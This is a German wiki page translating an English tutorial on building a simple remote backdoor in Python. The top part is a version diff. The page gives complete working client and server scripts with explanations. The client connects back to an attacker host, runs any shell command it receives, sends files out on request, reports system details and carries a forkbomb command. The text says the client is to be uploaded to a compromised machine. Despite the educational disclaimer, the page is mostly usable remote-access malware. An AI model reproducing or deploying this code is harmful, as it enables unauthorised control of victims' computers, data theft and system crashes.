Backdoor: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 115: Zeile 115:
 
  RPORT = 2222
 
  RPORT = 2222
  
These first few lines are for initializing some starter values. colorama.init() needs to be called for colorama (color text in terminal). The RHOST and RPORT variables are for connecting to the host machine. These vars need to be changed before uploading to the target machine.
+
Diese ersten Zeilen dienen zum Initialisieren einiger Starterwerte. colorama.init () muss für colorama (Farbtext im Terminal) aufgerufen werden. Die Variablen RHOST und RPORT dienen zum Herstellen einer Verbindung mit dem Hostcomputer. Diese Variablen müssen vor dem Hochladen auf den Zielcomputer geändert werden.
  
 
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
  sock.connect((RHOST, RPORT))
 
  sock.connect((RHOST, RPORT))
  
These next few lines are standard procedure for connecting to an IPV4 address through a TCP port.
+
Diese nächsten Zeilen sind Standardverfahren für die Verbindung mit einer IPV4-Adresse über einen TCP-Port.
  
 
   while True:
 
   while True:
Zeile 129: Zeile 129:
 
         cmd = sock.recv(1024).decode("utf-8")
 
         cmd = sock.recv(1024).decode("utf-8")
  
The entirety of the code for receiving commands, command execution, and sending data is wrapped in a while loop, so it goes on forever. The try-except is so if any commands execute improperly, the program continues instead of breaking the connection. The header var defines the prefix before tying a command. For example: hacked@linux-machine:/usr/hacked/Desktop$ The next line sends the header to the server, so the user knows what directory they're in and what user they're logged into. STDOUT and STDERR need to be set to None so commands don't double execute if the server sends empty data. The final line receives the command from the server to execute.
+
Der gesamte Code zum Empfangen von Befehlen, zum Ausführen von Befehlen und zum Senden von Daten wird in eine while-Schleife eingeschlossen, sodass er für immer weitergeht. Das Try-Except ist also, wenn Befehle nicht ordnungsgemäß ausgeführt werden, wird das Programm fortgesetzt, anstatt die Verbindung zu trennen. Die Header-Variable definiert das Präfix, bevor ein Befehl gebunden wird. Beispiel: hacked @ linux-machine: / usr / hacked / Desktop $ In der nächsten Zeile wird der Header an den Server gesendet, sodass der Benutzer weiß, in welchem Verzeichnis er sich befindet und bei welchem Benutzer er angemeldet ist. STDOUT und STDERR müssen auf None gesetzt werden, damit Befehle nicht doppelt ausgeführt werden, wenn der Server leere Daten sendet. Die letzte Zeile empfängt den Befehl vom Server zur Ausführung.
  
 
*Commands:
 
*Commands:
Zeile 136: Zeile 136:
 
     sock.send(str(os.listdir(".")).encode())
 
     sock.send(str(os.listdir(".")).encode())
  
This command is used instead of ls because sometimes, ls is inconsistent
+
Dieser Befehl wird anstelle von ls verwendet, da ls manchmal inkonsistent ist
  
 
;Forkbomb
 
;Forkbomb
Zeile 143: Zeile 143:
 
         os.fork()
 
         os.fork()
  
A forkbomb is an attack when a process replicates itself over and over again, causing all system resources to be consumed, usually causing the system to crash. The while loop infinitely duplicates the python process infinitely, causing the computer to crash.
+
Eine Forkbombe ist ein Angriff, wenn sich ein Prozess immer wieder selbst repliziert und alle Systemressourcen verbraucht werden, was normalerweise zum Absturz des Systems führt. Die while-Schleife dupliziert den Python-Prozess unendlich und führt zum Absturz des Computers.
 
 
 
;cd
 
;cd
 
   elif cmd.split(" ")[0] == "cd":
 
   elif cmd.split(" ")[0] == "cd":
Zeile 150: Zeile 149:
 
     sock.send("Changed directory to {}".format(os.getcwd()).encode())
 
     sock.send("Changed directory to {}".format(os.getcwd()).encode())
  
This command works better than the cd that is built into bash. This is because when the directory is changed in Linux, the python working directory isn't affected. This command uses os.chdir() to change the working directory in python and in Linux. Splitting the command allows for the argument (in this case, the directory to change to) to be processed separately
+
Dieser Befehl funktioniert besser als die in integrierte CD. Dies liegt daran, dass beim Ändern des Verzeichnisses das Python-Arbeitsverzeichnis nicht betroffen ist. Dieser Befehl verwendet os.chdir (), um das Arbeitsverzeichnis in Python und Linux zu ändern. Durch Aufteilen des Befehls kann das Argument (in diesem Fall das Verzeichnis, in das geändert werden soll) separat verarbeitet werden
  
 
;sysinfo
 
;sysinfo
Zeile 163: Zeile 162:
 
             sock.send(sysinfo.encode())
 
             sock.send(sysinfo.encode())
  
The sysinfo command uses a combination of the platform module and the getpass module to get information about the system such as: the operating system, the hostname of the machine, the current user, the current os version, and processor architecture. This text is nicely formatted and sent to the host server.
+
Der Befehl sysinfo verwendet eine Kombination aus dem Plattformmodul und dem getpass-Modul, um Informationen über das System abzurufen, z. B.: Das Betriebssystem, den Hostnamen des Computers, den aktuellen Benutzer, die aktuelle Betriebssystemversion und die Prozessorarchitektur. Dieser Text ist schön formatiert und wird an den Host-Server gesendet.
  
 
;Download
 
;Download
Zeile 177: Zeile 176:
 
     print("Finished sending data")
 
     print("Finished sending data")
  
The download command is a little more complicated. Once again, the command is split to extract the argument. This time, instead of sending the data from the file all at once, the file must be split into 1024 byte (1KB) because the server can only receive 1 kilobyte at a time. Once the file is done sending, the client sends "DONE" (in bytes) to the server to let the server know that the file transfer is complete.
+
Der Download-Befehl ist etwas komplizierter. Der Befehl wird erneut aufgeteilt, um das Argument zu extrahieren. Anstatt die Daten aus der Datei auf einmal zu senden, muss die Datei dieses Mal in 1024 Byte (1 KB) aufgeteilt werden, da der Server jeweils nur 1 Kilobyte empfangen kann. Sobald das Senden der Datei abgeschlossen ist, sendet der Client "FERTIG" (in Byte) an den Server, um den Server darüber zu informieren, dass die Dateiübertragung abgeschlossen ist.
  
 
;Exit
 
;Exit
Zeile 184: Zeile 183:
 
     break
 
     break
  
When calling exit, the text "exit" (in bytes) is sent to the server. This notifies the server to terminate the connection. Break exits the while True loop, terminating the program.
+
Beim Aufruf von exit wird der Text "exit" (in Bytes) an den Server gesendet. Dadurch wird der Server benachrichtigt, die Verbindung zu beenden. Break verlässt die while True-Schleife und beendet das Programm.
  
 
;Any other command
 
;Any other command
Zeile 195: Zeile 194:
 
         sock.send(STDOUT)
 
         sock.send(STDOUT)
  
If the command that was entered isn't a known internal command, it is executed through the system instead. The subprocess module is used to execute the command through the system's shell. The output is returned to two variables, STDOUT and STDERR. STDOUT is the standard system output. STDERR is the standard error output. The next if statement checks if the output went to STDOUT or STDERR. It sends the appropriate data once it has been checked.
+
Wenn der eingegebene Befehl kein bekannter interner Befehl ist, wird er stattdessen über das System ausgeführt. Das Unterprozessmodul wird verwendet, um den Befehl über die Systemshell auszuführen. Die Ausgabe wird an zwei Variablen zurückgegeben, STDOUT und STDERR. STDOUT ist die Standardsystemausgabe. STDERR ist die Standardfehlerausgabe. Die nächste if-Anweisung prüft, ob die Ausgabe an STDOUT oder STDERR ging. Es sendet die entsprechenden Daten, sobald es überprüft wurde.      
        if not cmd:
+
  if not cmd:
            print("Connection dropped")
+
        print("Connection dropped")
            break
+
        break
 
     except Exception as e:
 
     except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
+
        sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
+
  sock.close()
  
Finally, if no command is received, the program can assume that there was an error in the connection and will terminate the loop. Since the entire code is wrapped in a try-except, the program will send the exception to the server. Once the loop terminates, the socket will close.
+
Wenn kein Befehl empfangen wird, kann das Programm davon ausgehen, dass ein Fehler in der Verbindung aufgetreten ist, und die Schleife beenden. Da der gesamte Code in eine Try-Except-Funktion eingeschlossen ist, sendet das Programm die Ausnahme an den Server. Sobald die Schleife endet, wird die Buchse geschlossen.
  
 
=Part 3=
 
=Part 3=

Version vom 7. Oktober 2020, 14:08 Uhr

Einleitung

Übersetzt aus dem englischen

Original Artikel ist hier

https://dev.to/tman540/simple-remote-backdoor-with-python-33a0


Einfacher Remote Backdoor mit Python

Hinweis: Bevor Sie mit dem Lesen dieses Tutorials beginnen: VERWENDEN SIE DIESEN CODE NICHT FÜR BÖSARTIGE ZWECKE. DIESES TUTORIAL IST NUR FÜR BILDUNGSZWECKE!

Teil 1

Was ist ein Backdoor?

Laut Wikipedia:

Eine Hintertür ist ein oft geheimes Verfahren zum Umgehen der normalen Authentifizierung oder Verschlüsselung in einem Computersystem, einem Produkt oder einem eingebetteten Gerät (z. B. einem Heimrouter) oder seiner Ausführungsform

Einfacher ausgedrückt ist eine Hintertür eine Software, die auf einem Computer installiert ist und jemandem Fernzugriff auf einen Computer ermöglicht, normalerweise ohne entsprechende Erlaubnis. Beispielsweise kann ein Hacker eine Hintertür verwenden, um den Remotezugriff auf einen gefährdeten Computer aufrechtzuerhalten. Ein Hacker könnte eine Hintertür in einem scheinbar normal aussehenden Spiel oder Programm verkleiden. Sobald der Benutzer des Zielcomputers das Programm ausführt, kann der Hacker über die in der Software versteckte Hintertür eine Remoteverbindung zum Zielcomputer herstellen, normalerweise über eine Befehlszeile. Über diese Remoteverbindung kann der Hacker Befehle ausführen, Dateien bearbeiten und lesen und vieles mehr.

Teil 2

So erstellen Sie eine benutzerdefinierte Backdor (Client)

Dieser Backdoor wird aus zwei kurzen Skripten bestehen. Das erste Skript, das wir erstellen werden, ist das Client-Skript. Dies ist das Skript, das auf den gefährdeten Computer hochgeladen wird.

import socket
import subprocess
import os
import platform
import getpass
import colorama
from colorama import Fore, Style
from time import sleep

colorama.init()

RHOST = "127.0.0.1"
RPORT = 2222

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))

while True:
    try:
        header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
        sock.send(header.encode())
        STDOUT, STDERR = None, None
        cmd = sock.recv(1024).decode("utf-8")

        # List files in the dir
        if cmd == "list":
            sock.send(str(os.listdir(".")).encode())

        # Forkbomb
        if cmd == "forkbomb":
            while True:
                os.fork()

        # Change directory
        elif cmd.split(" ")[0] == "cd":
            os.chdir(cmd.split(" ")[1])
            sock.send("Changed directory to {}".format(os.getcwd()).encode())

        # Get system info
        elif cmd == "sysinfo":
            sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
            """
            sock.send(sysinfo.encode())

        # Download files
        elif cmd.split(" ")[0] == "download":
            with open(cmd.split(" ")[1], "rb") as f:
                file_data = f.read(1024)
                while file_data:
                    print("Sending", file_data)
                    sock.send(file_data)
                    file_data = f.read(1024)
                sleep(2)
                sock.send(b"DONE")
            print("Finished sending data")

        # Terminate the connection
        elif cmd == "exit":
            sock.send(b"exit")
            break

        # Run any other command
        else:
            comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            STDOUT, STDERR = comm.communicate()
            if not STDOUT:
                sock.send(STDERR)
            else:
                sock.send(STDOUT)

        # If the connection terminates
        if not cmd:
            print("Connection dropped")
            break
    except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()

Explanation

colorama.init()
RHOST = "127.0.0.1"
RPORT = 2222

Diese ersten Zeilen dienen zum Initialisieren einiger Starterwerte. colorama.init () muss für colorama (Farbtext im Terminal) aufgerufen werden. Die Variablen RHOST und RPORT dienen zum Herstellen einer Verbindung mit dem Hostcomputer. Diese Variablen müssen vor dem Hochladen auf den Zielcomputer geändert werden.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))

Diese nächsten Zeilen sind Standardverfahren für die Verbindung mit einer IPV4-Adresse über einen TCP-Port.

 while True:
    try:
        header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
        sock.send(header.encode())
        STDOUT, STDERR = None, None
        cmd = sock.recv(1024).decode("utf-8")

Der gesamte Code zum Empfangen von Befehlen, zum Ausführen von Befehlen und zum Senden von Daten wird in eine while-Schleife eingeschlossen, sodass er für immer weitergeht. Das Try-Except ist also, wenn Befehle nicht ordnungsgemäß ausgeführt werden, wird das Programm fortgesetzt, anstatt die Verbindung zu trennen. Die Header-Variable definiert das Präfix, bevor ein Befehl gebunden wird. Beispiel: hacked @ linux-machine: / usr / hacked / Desktop $ In der nächsten Zeile wird der Header an den Server gesendet, sodass der Benutzer weiß, in welchem Verzeichnis er sich befindet und bei welchem Benutzer er angemeldet ist. STDOUT und STDERR müssen auf None gesetzt werden, damit Befehle nicht doppelt ausgeführt werden, wenn der Server leere Daten sendet. Die letzte Zeile empfängt den Befehl vom Server zur Ausführung.

  • Commands:
List files
 if cmd == "list":
   sock.send(str(os.listdir(".")).encode())

Dieser Befehl wird anstelle von ls verwendet, da ls manchmal inkonsistent ist

Forkbomb
 if cmd == "forkbomb":
    while True:
        os.fork()

Eine Forkbombe ist ein Angriff, wenn sich ein Prozess immer wieder selbst repliziert und alle Systemressourcen verbraucht werden, was normalerweise zum Absturz des Systems führt. Die while-Schleife dupliziert den Python-Prozess unendlich und führt zum Absturz des Computers.

cd
 elif cmd.split(" ")[0] == "cd":
    os.chdir(cmd.split(" ")[1])
    sock.send("Changed directory to {}".format(os.getcwd()).encode())

Dieser Befehl funktioniert besser als die in integrierte CD. Dies liegt daran, dass beim Ändern des Verzeichnisses das Python-Arbeitsverzeichnis nicht betroffen ist. Dieser Befehl verwendet os.chdir (), um das Arbeitsverzeichnis in Python und Linux zu ändern. Durch Aufteilen des Befehls kann das Argument (in diesem Fall das Verzeichnis, in das geändert werden soll) separat verarbeitet werden

sysinfo
       elif cmd == "sysinfo":
           sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
            """
            sock.send(sysinfo.encode())

Der Befehl sysinfo verwendet eine Kombination aus dem Plattformmodul und dem getpass-Modul, um Informationen über das System abzurufen, z. B.: Das Betriebssystem, den Hostnamen des Computers, den aktuellen Benutzer, die aktuelle Betriebssystemversion und die Prozessorarchitektur. Dieser Text ist schön formatiert und wird an den Host-Server gesendet.

Download
 elif cmd.split(" ")[0] == "download":
    with open(cmd.split(" ")[1], "rb") as f:
       file_data = f.read(1024)
       while file_data:
           print("Sending", file_data)
           sock.send(file_data)
           file_data = f.read(1024)
       sleep(2)
       sock.send(b"DONE")
   print("Finished sending data")

Der Download-Befehl ist etwas komplizierter. Der Befehl wird erneut aufgeteilt, um das Argument zu extrahieren. Anstatt die Daten aus der Datei auf einmal zu senden, muss die Datei dieses Mal in 1024 Byte (1 KB) aufgeteilt werden, da der Server jeweils nur 1 Kilobyte empfangen kann. Sobald das Senden der Datei abgeschlossen ist, sendet der Client "FERTIG" (in Byte) an den Server, um den Server darüber zu informieren, dass die Dateiübertragung abgeschlossen ist.

Exit
 elif cmd == "exit":
    sock.send(b"exit")
    break

Beim Aufruf von exit wird der Text "exit" (in Bytes) an den Server gesendet. Dadurch wird der Server benachrichtigt, die Verbindung zu beenden. Break verlässt die while True-Schleife und beendet das Programm.

Any other command
 else:
   comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
   STDOUT, STDERR = comm.communicate()
   if not STDOUT:
       sock.send(STDERR)
   else:
       sock.send(STDOUT)

Wenn der eingegebene Befehl kein bekannter interner Befehl ist, wird er stattdessen über das System ausgeführt. Das Unterprozessmodul wird verwendet, um den Befehl über die Systemshell auszuführen. Die Ausgabe wird an zwei Variablen zurückgegeben, STDOUT und STDERR. STDOUT ist die Standardsystemausgabe. STDERR ist die Standardfehlerausgabe. Die nächste if-Anweisung prüft, ob die Ausgabe an STDOUT oder STDERR ging. Es sendet die entsprechenden Daten, sobald es überprüft wurde.

 if not cmd:
        print("Connection dropped")
        break
   except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
 sock.close()

Wenn kein Befehl empfangen wird, kann das Programm davon ausgehen, dass ein Fehler in der Verbindung aufgetreten ist, und die Schleife beenden. Da der gesamte Code in eine Try-Except-Funktion eingeschlossen ist, sendet das Programm die Ausnahme an den Server. Sobald die Schleife endet, wird die Buchse geschlossen.

Part 3

How to Build a Custom Backdoor (Server)

The second script is the server script. This script gets executed on the attacker's machine. This is the script that the clients will connect to, send a shell too, and the attacker will send commands through.

Script
import socket
import colorama

colorama.init()

LHOST = "127.0.0.1"
LPORT = 2222

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()

while True:
    input_header = client.recv(1024)
    command = input(input_header.decode()).encode()

    if command.decode("utf-8").split(" ")[0] == "download":
        file_name = command.decode("utf-8").split(" ")[1][::-1]
        client.send(command)
        with open(file_name, "wb") as f:
            read_data = client.recv(1024)
            while read_data:
                f.write(read_data)
                read_data = client.recv(1024)
                if read_data == b"DONE":
                    break

    if command is b"":
        print("Please enter a command")
    else:
        client.send(command)
        data = client.recv(1024).decode("utf-8")
        if data == "exit":
            print("Terminating connection", addr[0])
            break
        print(data)
client.close()
sock.close()

Explanation

colorama.init()

LHOST = "127.0.0.1" LPORT = 2222 These first few lines are for initialization. The LHOST is the IP which the server will be hosted on. The LPORT is the port where the server will be hosted. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((LHOST, LPORT)) sock.listen(1) print("Listening on port", LPORT) client, addr = sock.accept() Lines 9-13 are for initializing the server. Once again, socket.AF_INET is to start a server on an IPV4 address and socket.SOCK_STREAM is to run the server on a TCP port. sock.bind((LHOST, LPORT)) starts a server on the given IP and port. sock.listen(1) tells the program to only accept one incoming connection. The client is an object that allows the program to interact with the connected client, for example, send data. The addr is a tuple that contains the IP and port of the connected client. while True:

   input_header = client.recv(1024)
   command = input(input_header.decode()).encode()

Just like the client, the entire code is wrapped in a while True: loop so that the commands can constantly send and executed, until the loop breaks. The input_header is the text before the input. Example: hacked@linux-machine:/usr/hacked/Desktop$. This data is received from the client and is entered as an argument to the input function. The user is asked to enter a command, it is encoded into bytes and saved into the command variable.

   if command.decode("utf-8").split(" ")[0] == "download":
       file_name = command.decode("utf-8").split(" ")[1][::-1]
       client.send(command)
       with open(file_name, "wb") as f:
           read_data = client.recv(1024)
           while read_data:
               f.write(read_data)
               read_data = client.recv(1024)
               if read_data == b"DONE":
                   break
       print("Finished reading data")

There is only one pre-defined command built into the server; download. When download is executed, it opens a new file with the name of the file to be downloaded. Next, the function reads 1KB at a time and writes that data to the file. If the server receives the data "DONE" (in bytes), the loop for receiving data stops.

   if command is b"":
       print("Please enter a command")

If no command is entered, the user is reminded that data must be entered.

   else:
       client.send(command)
       data = client.recv(1024).decode("utf-8")
       if data == "exit":
           print("Terminating connection", addr[0])
           break
       print(data)

If none of the other conditions are met, the script sends the command to the client to be executed. The data variable receives the output from the command (sent by the client). If the data that is received is "exit", the server terminates the connection and breaks the loop, which exits the script. Once the loop breaks, the connection to the client and the server socket is closed.

Part 4: Conclusion Remember, entering any computer without permission is illegal. This script was made because I am interested in how these types of technologies work. Do not use this program for any illegal reasons. This program is also a very simple backdoor and is not 100% stable or complete.

Sources: Cover image: The Daily Dot

Backdoor definition: Wikipedia